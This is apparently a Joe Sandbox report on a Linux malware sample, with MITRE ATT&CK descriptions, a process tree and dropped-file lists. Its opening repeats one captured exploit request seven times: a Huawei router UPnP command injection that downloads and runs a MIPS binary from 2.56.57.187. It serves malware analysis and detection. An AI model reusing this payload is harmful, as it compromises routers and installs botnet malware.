Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 2e 35 36 2e 35 37 2e 31 38 37 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 2.56.57.187 -l /tmp/kh -r /bins/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Start time:	00:32:05
Start date:	25/03/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	00:32:06
Start date:	25/03/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	00:32:07
Start date:	25/03/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	00:32:08
Start date:	25/03/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	00:32:19
Start date:	25/03/2022
Path:	/tmp/DOSkhmFb90
Arguments:	/tmp/DOSkhmFb90
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report DOSkhmFb90

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/5252

/var/cache/man/cs/5252

/var/cache/man/cs/index.db.FiPbcm

/var/cache/man/da/5252

/var/cache/man/da/index.db.BhpQpj

/var/cache/man/de/5252

/var/cache/man/de/index.db.3lLqSk

/var/cache/man/es/5252

/var/cache/man/es/index.db.0xJo4k

/var/cache/man/fi/5252

/var/cache/man/fi/index.db.rMDvRk

/var/cache/man/fr.ISO8859-1/5252

/var/cache/man/fr.ISO8859-1/index.db.r3VlUk

/var/cache/man/fr.UTF-8/5252

/var/cache/man/fr.UTF-8/index.db.YJFOJk

/var/cache/man/fr/5252

/var/cache/man/fr/index.db.Jc95om

/var/cache/man/hu/5252

/var/cache/man/hu/index.db.Owghxk

/var/cache/man/id/5252

/var/cache/man/id/index.db.cvUHRj

/var/cache/man/index.db.rvCs8k

/var/cache/man/it/5252

/var/cache/man/it/index.db.dFoPAm

/var/cache/man/ja/5252

/var/cache/man/ja/index.db.ccxBsl

/var/cache/man/ko/5252

/var/cache/man/ko/index.db.ss3fTk

Linux Analysis Report
DOSkhmFb90

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	API monitoring, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre